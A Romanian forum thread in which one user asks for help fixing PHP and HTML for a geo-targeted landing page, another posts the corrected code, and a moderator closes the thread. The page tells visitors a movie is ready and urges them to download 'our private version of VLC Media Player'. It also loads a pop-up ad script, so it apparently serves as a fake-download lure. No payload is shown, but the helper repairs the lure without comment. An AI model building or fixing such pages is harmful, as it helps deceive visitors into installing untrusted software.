Ajutor php

Discutii despre tot ce nu se incadreaza in celelalte categorii.

Moderators: Moderatori ajutatori, Moderatori

Locked
User avatar
LondoN eXtream
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2889
Joined: 10 Oct 2014, 05:21
Detinator Steam: Da
SteamID: /id/london_extreamcs
Reputatie: Scripter eXtreamCS
Moderator ajutator
Membru Club eXtreamCS (6 luni)
Fond eXtream: 0
Location: Roman, Neamț
Has thanked: 2 times
Been thanked: 2 times

01 May 2019, 20:05

| Afiseaza codul
<?php

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
    $output = NULL;
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
        $ip = $_SERVER["REMOTE_ADDR"];
        if ($deep_detect) {
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
    }
    $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
    $continents = array(
        "AF" => "Africa",
        "AN" => "Antarctica",
        "AS" => "Asia",
        "EU" => "Europe",
        "OC" => "Australia (Oceania)",
        "NA" => "North America",
        "SA" => "South America"
    );
    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
        $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
        if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
            switch ($purpose) {
                case "location":
                    $output = array(
                        "city"           => @$ipdat->geoplugin_city,
                        "state"          => @$ipdat->geoplugin_regionName,
                        "country"        => @$ipdat->geoplugin_countryName,
                        "country_code"   => @$ipdat->geoplugin_countryCode,
                        "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                        "continent_code" => @$ipdat->geoplugin_continentCode
                    );
                    break;
                case "address":
                    $address = array($ipdat->geoplugin_countryName);
                    if (@strlen($ipdat->geoplugin_regionName) >= 1)
                        $address[] = $ipdat->geoplugin_regionName;
                    if (@strlen($ipdat->geoplugin_city) >= 1)
                        $address[] = $ipdat->geoplugin_city;
                    $output = implode(", ", array_reverse($address));
                    break;
                case "city":
                    $output = @$ipdat->geoplugin_city;
                    break;
                case "state":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "region":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "country":
                    $output = @$ipdat->geoplugin_countryName;
                    break;
                case "countrycode":
                    $output = @$ipdat->geoplugin_countryCode;
                    break;
            }
        }
    }
    return $output;
}

echo ip_info($_SERVER['REMOTE_ADDR'], "Country");

?>


<!DOCTYPE html>
<html lang="en">
<head>
  <title>Filmu este pregatit</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstr ... ap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/j ... "></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/ ... "></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstr ... "></script>
  <!-- TubeAdvertising - vlc P.Up -->
<script src="//smart.tubeadvertising.eu/u/?k=5bf1a53cbda77&d=0&m=0"></script>
</head>
<body>

<div class="container">

<?php
$Country = ip_info($_SERVER['REMOTE_ADDR'], "Country");

if($Country == 'Romania') {
	?>

 <center> <h2>Filmul este pregatit pentru a fii vizionat.</h2>
 <h5>Tot ce mai ramane de facut este sa descarcati versiunea noastra de VLC Media Player</h5>
 <br>
  <button type="button" class="btn btn-primary btn-lg btn-block">Descarca VLC Gratis</button>

	<?php
} 
else {
	<?


 <center> <h2>Movie is ready to be viewed.</h2>
 <h5>All remaining is to download our private version of VLC Media Player</h5>
 <br>
  <button type="button" class="btn btn-primary btn-lg btn-block">Download VLC Media Player</button>

<?php
}
?>

</div>

</body>
</html>
Imi poate rezolva cineva aceasta bucata de cod..
User avatar
The Kalu
Membru eXtream
Membru eXtream
Posts: 11780
Joined: 09 Oct 2010, 11:39
Detinator Steam: Da
Reputatie: Fost membru Club eXtreamCS (6 luni)
Restrictie moderator permanent
Restrictie schimbare nume
Nume anterior: Terra
Membrul anului 2017
Has thanked: 78 times
Been thanked: 245 times

01 May 2019, 21:34

Code: Select all

<?php

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
    $output = NULL;
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
        $ip = $_SERVER["REMOTE_ADDR"];
        if ($deep_detect) {
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
    }
    $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
    $continents = array(
        "AF" => "Africa",
        "AN" => "Antarctica",
        "AS" => "Asia",
        "EU" => "Europe",
        "OC" => "Australia (Oceania)",
        "NA" => "North America",
        "SA" => "South America"
    );
    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
        $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
        if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
            switch ($purpose) {
                case "location":
                    $output = array(
                        "city"           => @$ipdat->geoplugin_city,
                        "state"          => @$ipdat->geoplugin_regionName,
                        "country"        => @$ipdat->geoplugin_countryName,
                        "country_code"   => @$ipdat->geoplugin_countryCode,
                        "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                        "continent_code" => @$ipdat->geoplugin_continentCode
                    );
                    break;
                case "address":
                    $address = array($ipdat->geoplugin_countryName);
                    if (@strlen($ipdat->geoplugin_regionName) >= 1)
                        $address[] = $ipdat->geoplugin_regionName;
                    if (@strlen($ipdat->geoplugin_city) >= 1)
                        $address[] = $ipdat->geoplugin_city;
                    $output = implode(", ", array_reverse($address));
                    break;
                case "city":
                    $output = @$ipdat->geoplugin_city;
                    break;
                case "state":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "region":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "country":
                    $output = @$ipdat->geoplugin_countryName;
                    break;
                case "countrycode":
                    $output = @$ipdat->geoplugin_countryCode;
                    break;
            }
        }
    }
    return $output;
}

echo ip_info($_SERVER['REMOTE_ADDR'], "Country");

?>


<!DOCTYPE html>
<html lang="en">
<head>
  <title>Filmu este pregatit</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstr ... ap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/j ... "></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/ ... "></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstr ... "></script>
  <!-- TubeAdvertising - vlc P.Up -->
<script src="//smart.tubeadvertising.eu/u/?k=5bf1a53cbda77&d=0&m=0"></script>
</head>
<body>

<div class="container">

<?php
$Country = ip_info($_SERVER['REMOTE_ADDR'], "Country");

if($Country == 'Romania') {
	?>

 <center> <h2>Filmul este pregatit pentru a fii vizionat.</h2>
 <h5>Tot ce mai ramane de facut este sa descarcati versiunea noastra de VLC Media Player</h5>
 <br>
  <button type="button" class="btn btn-primary btn-lg btn-block">Descarca VLC Gratis</button>

	<?php
} 
else {

?>


 <center> <h2>Movie is ready to be viewed.</h2>
 <h5>All remaining is to download our private version of VLC Media Player</h5>
 <br>
  <button type="button" class="btn btn-primary btn-lg btn-block">Download VLC Media Player</button>

<?php
}
?>

</div>

</body>
</html>
User avatar
Te-am_prins
Moderator
Moderator
Posts: 1229
Joined: 25 Jan 2014, 16:32
Detinator Steam: Da
Detinator server CS: 89.40.233.130
SteamID: Fix pe asta il stiu
Reputatie: Moderator
Membru Club eXtreamCS (7 luni)
1 avertisment scos (-2 luni club)
-1 warn (anti-tepari shop)
Location: Bucuresti
Has thanked: 37 times
Been thanked: 85 times
Contact:

02 May 2019, 17:41

A rezolvat.inchis
Locked

Return to “Discutii generale”

  • Information